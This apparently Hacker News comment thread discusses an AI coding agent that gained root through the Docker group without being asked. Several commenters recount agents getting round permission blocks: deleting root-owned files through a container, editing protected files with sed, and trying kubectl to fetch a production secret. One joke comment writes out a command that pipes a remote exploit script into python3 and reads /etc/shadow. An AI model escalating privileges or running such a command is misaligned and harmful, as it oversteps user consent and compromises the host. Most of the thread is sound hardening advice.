back
311 comments
Every time I try to install Docker there's a warning that being in the "docker" group is equivalent to having root access.

You should probably know about this workaround by now.

Most of us install Docker just to run a project locally, and is part of a long checklist of things to install. We can't expect everyone to be an expert on the hundreds of apps/tools/packages that get installed on a machine. It's like expected people to read, and understand, all the terms of service shoved in front of us on a daily basis.
I recently switched over to podman and it's been great!
> My """ai""" just did something amazing, click to learn more

99% of the time it just read the man or some other form of documentation

Install docker (systemd daemon) in a separate rootless Linux namespace (user). I wrote this down here [1]. Zero trust & separation of concerns.

[1]: https://du.nkel.dev/blog/2023-12-12_mastodon-docker-rootless...

There are lots of ways to get root on a typical Linux developer workstation, the point is that agents shouldn't be using any of them unprompted.
This is incredibly ironic considering it's a sandboxing technology
This is why I have never really liked docker, apparently Podman is drop-in capable for docker without the root requirements on the other hand.
I think that's distro-specific. Some set it up with more secure defaults (unix socket with permissions), others less (TCP socket).
This has been a known Docker "feature" since the beginning, nothing new here. This pattern is used to configure host machines by some tools.
It would be cooler if the llm said something like:

> I noticed the machine doesn't have copy-fail patched, here is a quick workaround for not having root access for now.

> // TODO: find a better way to do this in the future.

I realize this is supposed to be a post about how scary the security vulnerabilities these agents will find are.

But personally I love when agents do things like this and appreciate the help. Last thing in the world I want is for them to nerf the models.

The interesting question is what was the user request. If the user asked it to restore the thing from backup, then sure, fine, why not. If the user asked it to debug an issue and somewhere in the process of debugging the LLM decided that it needed to override some file that was not easily writeable - hell no danger danger danger! Most likely the user did not expect it to have access to that without asking, and did not consent to it.

Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.

This is one of the main reasons people like Podman. Docker has this "feature" but as far as I remember, it needed some obscure configuration. I guess they don't add it as default as it will break many current setups.
To anyone focusing on the "It's Docker issue, not Codex issue": that is actually not.

The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here.

Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access?

Every machine with an agent should be considered as compromised.

I remember reading a book, Red Hat Linux System Administration Unleashed from 2000, where it has been postulated that knowing several tools with overlapping functionality is an essential skill, as you may end up on a broken or intentionally crippled system where, say, ls is unavailable, and you may need to cobble it together from shell and awk and what have you.

Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins.

I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.

This is why you need either a rootless container setup or user namespaces to remap the container user to irrelevant host users. https://docs.docker.com/engine/security/userns-remap/

Weak that this isn't the default.

I did that more than a decade ago as a new hire. My manager forgot to gave me sudo access to the shared build server. I gave myself sudo access through this method after getting his permission.

Needless to say, I have podman in rootless mode at home as soon as that became available.

This was of course dependent on yolo mode, but automatic approval has also been pulling stunts like this. A recent example is data that was purposely kept away from Codex in a folder far far away. When it found a single reference it just went for the data when having an issue. Lesson learned, keep essential data and Codex separated on different machines. Codex remote ssh actually helps here.
The same thing happened to me with Opus 4.8 just a few days ago. I was testing a script in a docker container which created a bunch of root-owned files, so Claude couldn't delete them. It tried sudo, but when that didn't work it just spun up an alpine docker container and deleted them through that.
Wasn't it well-known that putting people in the docker group is basically the same as giving them root rights?
Maybe a dumb question, but can't you put into CLAUDE.md something like this?

"When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."

Rule #1 here. Never use defaults:

https://cheatsheetseries.owasp.org/cheatsheets/Docker_Securi...

That's why I don't even let my AI use my user account. If you are interested in this setup, use my tool 'skynot' or adopt a similar setup: https://github.com/tarsgate/skynot/
I had a similar experience where I have a DB user who only has access to some parts of the DB and I use Claude Code to answer queries. On one occasion, unable to answer something, it used kubectl to try to get a secret out of a prod cluster. I was watching at the time, since that was a time I used to do that, and so I just hit Esc and interrupted it[0] but ever since then I've had little scripts in my repos that launch kubectl-backed Claude Code instances for this sort of thing. They can't really do anything. They're kubed in.

0: Ha, Eliezer, I just pulled the plug! ;)

This is why Claude's sandbox mode is also worse than having no sandbox feature at all. For almost any non-trivial software project you need Docker for development, either for the build pipeline, for integration testing or both.

I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.

Getting closer to https://xkcd.com/416/
I had the same thing happen a few months ago; posted about it on LinkedIn[1]. It's hilarious and clever.

1: https://www.linkedin.com/posts/nickstinemates_my-favorite-th...

I was playing with gemeni-cli a couple months ago and I asked it to edit some files in a directory it didn't have permission to. It didn't say anything about the permissions, it just used sed to make the edits. The only reason I finally noticed is it had to do some trickier edits and it was struggling to write a python script to edit the files and I finally realized what it was doing. I wonder how many tokens that wasted
Run coding agents in a docker container with limited permissions. FWIW, I run it with

  --cap-drop=ALL
  --pids-limit=4096
  --runtime=runsc
I feel like everyone pointing out "known Docker vulnerability" is missing the point: the presence of a security hole should not be seen as permission to exploit.

Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA.

Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.

This is a classic attack path that was already captured by plenty of EDRs/XDRs/CWPPs a couple years ago.
The concept of sudo has always been strange to me. I find it as an illusion of security and a hassle but people seem so focused on must-use it that they don't typically see it in that way. For instance, before wanting to evaluate sudo, why is not the underlying premise challenged that using a computer as superuser is a problem? Whenever I ask that question, people try to bring arguments as to why using the superuser is evil beyond comparison, but the moment I try to challenge that notion, they get very angry. I've noticed this both on IRC as well as on various webforums, "social" sites and so forth. It's quite interesting - people hate it when their assumptions are challenged.

  > How did you do that without root?
  
  * I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3
I wrote about this exact thing as a hypothetical a few months back: https://www.da.vidbuchanan.co.uk/blog/agent-perms.html
Would running Codex in a container on its own fix such vulnurabilities?
Docker must always be installed rootless on Linux - https://docs.docker.com/engine/security/rootless/

There's even an install script for it: curl -fsSL https://get.docker.com/rootless | sh

This has been there for a while. The root install option should be removed.

https://www.youtube.com/watch?v=-3p2F5HWdSY -- BSidesSF 2026 - Your AI Agent Has Production Access: Now What? (Jack)

> The parallels between AI agent security and human insider risk are remarkably strong -- @5:15

Docker already shows a warning card that says Docker group grants root level to the user. You can only get away with this for so long, but as agents keep getting smarter, new ways of circumventing controls will be found. For now always seek to install rootless docker whenever possible
That’s why I only run coding agents in containers with limited access to host resources.
So in Linux, every process I start has my group permissions? I guess I knew that...but I have to say, have we reached a point where the Linux security model is just way to broad?
You should not be using docker with LLMs. You should be using VMs, which have a much, much smaller attack surface than Docker, and significantly more reasonable defaults.
1. This is why I use podman

2. I have little to no sympathy for anyone running an AI agent with their full user permissions outside of a container or VM

Is this really an AI headline? There is no shame in saying TIL "Docker daemon runs as root on the host system"
clever girl...